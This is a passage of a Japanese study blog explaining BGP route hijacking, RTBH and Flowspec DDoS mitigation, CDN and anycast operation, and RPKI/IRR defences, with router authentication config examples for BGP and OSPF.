<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キー番号</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">key-string</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">パスワード</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">send-life</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00</span><span style="color: #E6DB74">:00:00</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Jan</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">23</span><span style="color: #E6DB74">:59:59</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Dec</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">31</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">accept-lifetime</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00</span><span style="color: #E6DB74">:00:00</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Jan</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">23</span><span style="color: #E6DB74">:59:59</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Dec</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">31</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span></span>
<span class="line"><span style="color: #F8F8F2">  </span></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">65001</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">192.0</span><span style="color: #E6DB74">.2.2</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">password</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">encrypted-key-chain</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーチェイン名</span></span>
<span class="line"><span style="color: #F8F8F2">  </span></span>
<span class="line"><span style="color: #88846F">#send-lif：このカギを送信時に使う期間</span></span>
<span class="line"><span style="color: #88846F">#accept-lifetime:このカギを受信時に使う期間</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc4">（４）不正な経路に含まれるアドレスブロックへのコンテンツ配信ができなくなる。</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="924" height="106" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-9.png" alt="" class="wp-image-8092" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-9.png 924w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-9-300x34.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-9-767x88.png 767w" sizes="(max-width: 924px) 100vw, 924px" /></figure>



<p class="wp-block-paragraph">Q.不正な経路が混入するとネットワークではどのようなことが起きてしまうのか？<br>A.以下のメカニズムを見ていこう！<br><strong>１．不正な経路の受取： <br></strong>　悪意あるAS（あるいは設定ミスのAS）から、「このIPアドレスブロック（例：<code>203.0.113.0/24</code>）宛ての通信は俺のところ（不正なAS）に送れ！」というBGP UPDATEメッセージが届きます。<br><strong>２．ルーティングテーブルの汚染： <br></strong>　E社のBGPルーターがフィルタリングせずにそれを受け取ってしまうと、正しい行き先ではなく、不正なAS宛ての経路を「正解」として登録してしまいます。<br><strong>３．トラフィックの迷子（ブラックホール化 / 盗聴）：<br></strong>　 E社（PoP）からゲーム端末（ユーザー）へコンテンツデータ（ゲーム配信等）を送ろうとした際、不正な経路に従って送信されるため、データは本物のユーザーへ届かず、途中で破棄（Null）されるか、攻撃者のルーターへ吸い込まれて到達不可になります。</p>



<h2 class="wp-block-heading"><span id="toc5">設問３</span></h2>



<h3 class="wp-block-heading"><span id="toc6">（１）攻撃パケットを攻撃もとに近いところで遮断できる。</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="785" height="530" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-3.jpg" alt="" class="wp-image-8114" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-3.jpg 785w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-3-300x203.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-3-767x518.png 767w" sizes="(max-width: 785px) 100vw, 785px" /></figure>



<p class="wp-block-paragraph">RTBHを使うとBGPルータ（エッジルータ）でパケットをドロップさせることができる。以下のような特徴があるので、見てみよう。</p>



<ul class="wp-block-list">
<li><strong>「ファイアウォール（FW1）に届く前」</strong> ➔  FW1でフィルタリング（ACL等）をする場合、攻撃パケットは「BGPルータ1 ➔ 中間ルータ ➔ FW1」まで届いてしまう。RTBHを使えば、FW1どころか中間ルータや内部回線を圧迫する前に破棄できる。</li>



<li><strong>「エッジルーター（BGPルータ1）で破棄できる」</strong> ➔  POPの最前線（インターネットとの境界）にある <strong>BGPルータ1</strong> の段階で <code>Null0</code>（ペイツー/廃棄）に送るため、内部ネットワークへ侵入することを防止できる。</li>



<li><strong>「攻撃元に近いところで遮断できる」の意味：</strong> FW1という「システムの奥側（内部）」と比較した時に、インターネットとの境界線である「入口（BGPルータ1）」という<strong>より攻撃元（インターネット側）に近い最前線で遮断できる</strong>という意味。</li>
</ul>



<p class="wp-block-paragraph">要は「FW1まで届かせることなく、入口であるBGPルータ1（エッジ）で即座に破棄できるため、FW1や内部帯域への負荷を防げる」という理解でOK！</p>



<h3 class="wp-block-heading"><span id="toc7">（２）より細かい条件で選別して破棄することができる</span></h3>



<p class="wp-block-paragraph">BGP FlowspecはRTBHよりも細かなフィルタリングが可能。以下、RTBHの限界とFlowspecの進化を見ていこう！<br>▼<strong>RTBH（Remotely Triggered Black Hole）の限界</strong><br><span class="fz-16px">従来のBGP（NLRI）は「IPプレフィックス（宛先IP）」しか広報できなかった。そのため、特定の宛先IP宛ての通信を丸ごと <code>Null0</code> へ引き込んで破棄するしかなく、正常なユーザーの通信まで巻き添えで遮断（共倒れ）してしまうという弱点があった。</span><br><br>▼<strong>BGP Flowspec（Flow Specification）の進化</strong><br><span class="fz-16px">・<strong>MP-BGP（拡張NLRI）の利用:</strong> 宛先IPだけでなく、「送信元IP」「プロトコル（TCP/UDP等）」「送信元/宛先ポート番号」「ICMPタイプ」といったL3/L4の複数条件（フロー情報）をNLRIに乗せて送信可能になった。<br>・<strong>BGP拡張コミュニティ属性（Extended Community）の利用:</strong> そのフローに対してどのような処理を行うかという「アクション（Discard/破棄、Rate-limit/帯域制限など）」を一緒に伝達できる。<br>・<strong>動的ACLの生成:</strong> ルータ（BGPルータ）はこれを受け取ると、内部で<strong>動的にACL（アクセスリスト）をインストール</strong>し、ピンポイントなトラフィックだけをフィルタリングする。</span></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><span id="toc8">さらに深いVersion&#8230;.</span></h2>



<h3 class="wp-block-heading"><span id="toc9">p.3 なぜ端末内のデータを暗号化するの？ｰｰｰ</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="836" height="89" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image.png" alt="" class="wp-image-8077" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image.png 836w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-300x32.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-761x81.png 761w" sizes="(max-width: 836px) 100vw, 836px" /></figure>



<p class="wp-block-paragraph">Q.正直、端末内にあるデータを暗号化する必要性が分からない。。<br>別にプライバシー情報が入力されていたりするわけじゃないのに。。。<br>A.データの改ざんを防ぐため。平文で保存するとユーザがテキストエディタや専用ツールでセーブファイルを開き、「所持金：999999」「スコア：999999」のように簡単に書き換えられてしまいます。暗号化しておくことで、ファイルの直接編集を困難にする。</p>



<h3 class="wp-block-heading"><span id="toc10">p.3 ロードバランサーの処理フロー（DNSや振り分けなど..）</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="731" height="439" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-2.png" alt="" class="wp-image-8079" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-2.png 731w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-2-300x180.png 300w" sizes="(max-width: 731px) 100vw, 731px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="838" height="239" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-3.png" alt="" class="wp-image-8080" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-3.png 838w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-3-300x86.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-3-768x219.png 768w" sizes="(max-width: 838px) 100vw, 838px" /></figure>



<p class="wp-block-paragraph">１．クライアントは203.x.11.21へアクセスする<br>２．LBはURLをもとに適切な内部サーバへ割り振る<br><span class="fz-16px">１つのIPアドレスで３つのサービスを運用する場合は、Hostヘッダフィールドを確認することで適切な宛先をLBが判断できるようになる。</span><br>３．内部サーバが処理</p>



<p class="wp-block-paragraph">このような流れでLBはサービス提供の通信を支えている。</p>



<h3 class="wp-block-heading"><span id="toc11">p.4 CDNを採用する理由は？&#8212;</span></h3>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="836" height="117" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-4.png" alt="" class="wp-image-8081" style="width:836px;height:auto" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-4.png 836w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-4-300x42.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-4-765x107.png 765w" sizes="(max-width: 836px) 100vw, 836px" /></figure>



<p class="wp-block-paragraph">Q.グローバル化と大容量化するとCDNを導入した方がいいの？なんで？<br>A.👇<br><strong>グローバル化への効果：</strong> 世界各地の最寄りPOPから配信し、「物理的な距離による遅延（レイテンシー）」を減らす。<br><strong>大容量化への効果：</strong> キャッシュサーバーが配信を肩代わりし、自社インフラの「回線帯域とサーバー負荷のパンク」を防ぐ。</p>



<h3 class="wp-block-heading"><span id="toc12">CDNのフロー</span></h3>



<p class="wp-block-paragraph">１．企業AとCDN事業者Bが契約する<br>２．企業A側がDNS設定で、当該サービスのIPアドレスをCDN事業者宛てのIPに変える<br>３．最初の1人目が東京のPOPにアクセスする。<br>４．東京POPは「あれ？このファイル（ゲームα）持ってないな」となり、D社のデータセンター（オリジン）へ1回だけ取りに行く（ここで1回だけD社〜POP間で大容量通信が発生）。<br>５．東京POPは受け取ったデータをキャッシュ（保存）しつつ、1人目のユーザーに渡す。<br>６．2人目〜10万人目のユーザーが東京POPにアクセスする。<br>７．東京POPは自分の手元にあるキャッシュを渡すだけ。D社のデータセンターへは1回もアクセスがいかない。<br>８．もしシンガポールからの要求があった場合はシンガポールPOPが対応する。シンガポールPOPに情報がない場合は、オリジンへの大容量通信が１度だけ発生する。</p>



<h3 class="wp-block-heading"><span id="toc13">p.4 POPって何？&#8212;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="892" height="82" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-6.png" alt="" class="wp-image-8087" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-6.png 892w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-6-300x28.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-6-761x70.png 761w" sizes="(max-width: 892px) 100vw, 892px" /></figure>



<p class="wp-block-paragraph">Q.POPってなに？CDNを勉強すると、必ずと言っていいほど頻出するこの単語。なんとなくは理解しているつもりだけど、詳細はいまいちわかっていない。。。<br>A.POP（Point Of Presence）の略。PoPは単一の物理サーバーではなく、「CDN事業者が各地のデータセンター内に置いている<span class="blue">設備一式</span>（物理的な拠点・ラック群）」のこと。<br>PoPの中身は、大きく分けて<strong>2つの役割の機器</strong>で構成されている。<br>　<strong>・ロードバランサー（LB）：</strong> 拠点（PoP）の入り口に立つ交通整理役<br>　・<strong>多数のキャッシュサーバー：</strong> 実際にWebページやゲームファイルを保存して配信するサーバー群（数十〜数百台）</p>



<h3 class="wp-block-heading"><span id="toc14">どうやってPOP内部の多数のキャッシュサーバに割り振るの？&#8211;</span></h3>



<p class="wp-block-paragraph">Q.POP内部には多数のキャッシュサーバが配置されている。多数のキャッシュサーバーがある中で、どうやって目的のサーバーまで辿り着き、複数の会社（マルチテナント）のデータを区別しているの？<br>A.結論から言うと、「特定の会社専用のキャッシュサーバーがあるわけではなく、どのキャッシュサーバーも全会社のデータを扱える」のがカラクリ。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="[ ユーザーのリクエスト ]
  │  HTTP Header ──&gt;  Host: alpha.example.net (D社のゲーム)
  ▼
【 1. LB (ロードバランサー) の処理 】
  │  ・Hostヘッダーを見る必要は必ずしもない（単に「暇なサーバー」を選ぶだけ）
  │  ・IPレベル/TCPレベルで、一番負荷が低い「キャッシュサーバー3」へ丸投げ
  ▼
【 2. キャッシュサーバー3 の処理 】
  │  ・届いたHTTPリクエストの「Host: alpha.example.net」をチェック
  │  ・自機のディスク/メモリ内を検索：「D社のデータはあるか？」
  │
  ├─ [ パターンA：キャッシュ有り (Hit) ]
  │      保存してあるデータをそのままユーザーへ返却して終了！
  │
  └─ [ パターンB：キャッシュ無し (Miss) ]
         D社のオリジンサーバーへデータを取りに行き(同期)、
         自分のストレージに保存してからユーザーへ返却！" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">[ ユーザーのリクエスト ]</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">│</span><span style="color: #F8F8F2">  </span><span style="color: #E6DB74">HTTP</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Header</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">─</span><span style="color: #F8F8F2">─</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2">  </span><span style="color: #E6DB74">Host:</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">alpha.example.net</span><span style="color: #F8F8F2"> (D社のゲーム)</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">▼</span></span>
<span class="line"><span style="color: #A6E22E">【</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #E6DB74">.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">LB</span><span style="color: #F8F8F2"> (ロードバランサー) の処理 】</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">│</span><span style="color: #F8F8F2">  </span><span style="color: #E6DB74">・Hostヘッダーを見る必要は必ずしもない（単に「暇なサーバー」を選ぶだけ）</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">│</span><span style="color: #F8F8F2">  </span><span style="color: #E6DB74">・IPレベル/TCPレベルで、一番負荷が低い「キャッシュサーバー3」へ丸投げ</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">▼</span></span>
<span class="line"><span style="color: #A6E22E">【</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2</span><span style="color: #E6DB74">.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キャッシュサーバー3</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">の処理</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">】</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">│</span><span style="color: #F8F8F2">  </span><span style="color: #E6DB74">・届いたHTTPリクエストの「Host:</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">alpha.example.net」をチェック</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">│</span><span style="color: #F8F8F2">  </span><span style="color: #E6DB74">・自機のディスク/メモリ内を検索：「D社のデータはあるか？」</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">│</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">├─</span><span style="color: #F8F8F2"> [ </span><span style="color: #E6DB74">パターンA：キャッシュ有り</span><span style="color: #F8F8F2"> (Hit) ]</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">│</span><span style="color: #F8F8F2">      </span><span style="color: #E6DB74">保存してあるデータをそのままユーザーへ返却して終了！</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">│</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">└─</span><span style="color: #F8F8F2"> [ </span><span style="color: #E6DB74">パターンB：キャッシュ無し</span><span style="color: #F8F8F2"> (Miss) ]</span></span>
<span class="line"><span style="color: #F8F8F2">         </span><span style="color: #A6E22E">D社のオリジンサーバーへデータを取りに行き(同期</span><span style="color: #F8F8F2">)、</span></span>
<span class="line"><span style="color: #F8F8F2">         </span><span style="color: #A6E22E">自分のストレージに保存してからユーザーへ返却！</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>ポイント：会社の特定は「キャッシュサーバー」がやるということ</strong><br>。。。ん？どうやって？<br>A.URL（ホスト名＋パス）をラベルにした巨大なメモ書き（データベース）をサーバ内に持っておく。初学者が持つイメージは「①あ、このURLってことは、②この会社で、この会社ってことはサーバ内の③この領域で、で、その領域の④ここにデータが配置されている！」みたいなステップをイメージする。しかし、実際は「あ、このURLね。データベースで検索して、あ、このデータね！」という極めて単純なステップで解決する。</p>



<h3 class="wp-block-heading"><span id="toc15">Q.どうやって最寄りのPOPに引き込むの？DNS設定とかで工夫するの？</span></h3>



<p class="wp-block-paragraph">A.POPを経由させるにはBGP Anycast方式がある。</p>



<h4 class="wp-block-heading"><span id="toc16">BGP Anycast方式</span></h4>



<p class="wp-block-paragraph">　仕組み：世界中にあるすべてのPoP（東京、シンガポールなど）が、<strong>全く同じIPアドレス</strong>をインターネット上にBGPで経路広告する。<br>　ルーティング：ユーザーがそのIPアドレスにアクセスすると、インターネット上のルーターがBGPの仕組み（経路長など）に基づき、<strong>自動的に物理的・ネットワーク的に最も近いPoPへパケットを誘導</strong>する。<br>　特徴：DNSでアクセス先を切り替える必要すらなく、IPアドレスレベルで自動的に最寄りのPoPに届く。</p>



<h5 class="wp-block-heading"><span id="toc17">BGP Anycastフロー</span></h5>



<p class="wp-block-paragraph">１．企業A社とCDN事業社Bが契約する<br>２．BがAにアドレスブロックを割り当てる<br>３．AがDNS設定で、オリジンサーバ宛てのIPをB社から割り当てられたIPに変更する<br>４．B社の複数POPがBGPで当該IPを広告する<br>５．BGPの経路選択によって最寄りもPOPが使われるようになる。</p>



<h3 class="wp-block-heading"><span id="toc18">Q.BGP Anycastは複数のPOPが同一のIPアドレスを広告している。それが許可されるなら、誰でも偽ったIPを広告できちゃうんじゃないの？（BGPハイジャック）</span></h3>



<p class="wp-block-paragraph">確かに、複数の拠点で同一のIPアドレスを広告できてしまうなら誰でも、例えばGoogleのIPを広告できたりとかしちゃえるのでは？と疑問が出る。そういった不正を防ぐ工夫がBGPには用意されている。では、見ていこう！</p>



<h4 class="wp-block-heading"><span id="toc19">① RPKI（Resource Public Key Infrastructure）による暗号署名</span></h4>



<p class="wp-block-paragraph"> IPアドレスの所有者（例: E社）は、<span class="blue">レジストリ</span>（APNICやJPNICなど）に「このIPアドレスブロックは、AS-Eだけが広告できる」という<span class="blue">デジタル証明書</span>（ROA）を登録します。他のASが勝手に広告しても、暗号的に署名が一致しないため無効（Invalid）として世界中で破棄されます。</p>



<p class="wp-block-paragraph">＊レジストリ：世界中のIPアドレス、AS番号を割り振っている元締めのこと。「このIPアドレス範囲はこの組織に貸し出したものだ！」とかを一元管理している。</p>



<h4 class="wp-block-heading"><span id="toc20">② IRR（Internet Routing Registry）での事前登録 </span></h4>



<p class="wp-block-paragraph">プロバイダ同士がBGPで接続する際、「どのIPアドレスを広告する予定か」を<span class="blue">データベース（IRR）</span>に事前登録します。登録にないIPを勝手に広告しても、接続先のプロバイダでブロックされます。</p>



<h4 class="wp-block-heading"><span id="toc21">③ 隣接ASでの経路フィルタリング</span></h4>



<p class="wp-block-paragraph">BGPルーターは、受け取った経路情報が「事前契約された正規のIPアドレスとAS番号の組み合わせ」と一致するかを常にチェックし、一致しない不正な経路はフィルタリング（遮断）します。</p>



<h3 class="wp-block-heading"><span id="toc22">CDNはどうやって大容量通信をさばいているの？&#8212;</span></h3>



<p class="wp-block-paragraph">Q.CDNは企業側サーバに負担がかかるのを減らすために利用される。要は、企業側の負担がすべてCDNに降りかかることになる。そのような大容量をCDNではどうやってさばいているの？もし、それができるなら、企業側もその技術使っちゃえばいいじゃん？<br><strong>A.超大規模なインフラと帯域のバルク買い（スケールメリット）</strong><br>CDN事業者（CloudflareやAkamaiなど）は、世界中の主要な<span class="blue">IX</span>（インターネットエクスチェンジ：プロバイダ同士の交差点）や<span class="blue">大手ISP</span>（NTT、KDDI等）の<span class="blue">データセンター内部に直接自社のサーバー（PoP）を設置している</span>。テラビット級（Tbps）の超絶に太い回線と何千台ものサーバーを抱えており、個人企業とは桁違いのインフラ規模を持っている。</p>



<p class="wp-block-paragraph">Q.「<span class="blue">データセンター内部に直接自社のサーバー（PoP）を設置している</span>」とは？<br>A.CDN事業者が、ISPやデータセンター事業者の「コロケーションサービス（場所や電源を借りる仕組み）」を利用して、相手の建物内に自社のPoP（サーバー群）を設置しているということ。<br>特に大手ISPに対しては、お互いに通信コストを削減できるメリットがあるため、ISP側から「お願いだからうちの設備内にPoPを置いてください！」と連携を打診されるケースもある。</p>



<h3 class="wp-block-heading"><span id="toc23">p.5 IXとは？&#8212;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="934" height="425" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-5.png" alt="" class="wp-image-8086" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-5.png 934w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-5-300x137.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-5-767x349.png 767w" sizes="(max-width: 934px) 100vw, 934px" /></figure>



<p class="wp-block-paragraph">各プロバイダ（A社、B社、C社…）やコンテンツ事業者（Google、Amazon、Cloudflare等）が、それぞれ1本ずつIXの設備（巨大なL2スイッチ）に回線を差し込む場所。これによって、高額な上位回線（トランジット）を経由しなくてもIXに参加している事業者同士で直接BGPの経路情報（「このIP宛てはうちへ送って！」）を交換できるようになった。</p>



<h3 id="authentication" class="wp-block-heading"><span id="toc24">いろいろな認証コマンド</span></h3>



<p class="wp-block-paragraph"><a href="#husei" data-type="internal" data-id="#husei">p.5でBGPに関する認証が出てきた</a>。なので、ついでにOSPFやEIGRPの認証方法も学んでおこう！</p>



<p class="wp-block-paragraph"><strong>▼OSPF設定方法</strong></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#インタフェース単位のMD5認証
int g0/0
ip ospf authentication message-digest #MD5認証の有効化
ip ospf message-digest-key キーID md5 パスワード #キーIDとパスワードの設定

#インタフェース単位の平文認証
int g0/0
ip ospf authentication
ip ospf authentication-key パスワード

#エリア単位の認証
router ospf 1
 area 0 authentication message-digest #エリアでMD5認証を有効化する

int g0/0
 ip ospf message-digest-key キーID md5 パスワード
 
#キーチェインを使う場合
key chain キーチェイン名
 key キー番号
  key-string パスワード
  cryptographic-algorithm hmac-sha-256
  send-life 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  accept-lifetime 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026

int g0/0
 ip ospf authentication key-chain キーチェイン名" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#インタフェース単位のMD5認証</span></span>
<span class="line"><span style="color: #A6E22E">int</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">g0/0</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ospf</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">authentication</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">message-digest</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#MD5認証の有効化</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ospf</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">message-digest-key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーID</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">md5</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">パスワード</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#キーIDとパスワードの設定</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#インタフェース単位の平文認証</span></span>
<span class="line"><span style="color: #A6E22E">int</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">g0/0</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ospf</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">authentication</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ospf</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">authentication-key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">パスワード</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#エリア単位の認証</span></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ospf</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">area</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">authentication</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">message-digest</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#エリアでMD5認証を有効化する</span></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">int</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">g0/0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ospf</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">message-digest-key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーID</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">md5</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">パスワード</span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #88846F">#キーチェインを使う場合</span></span>
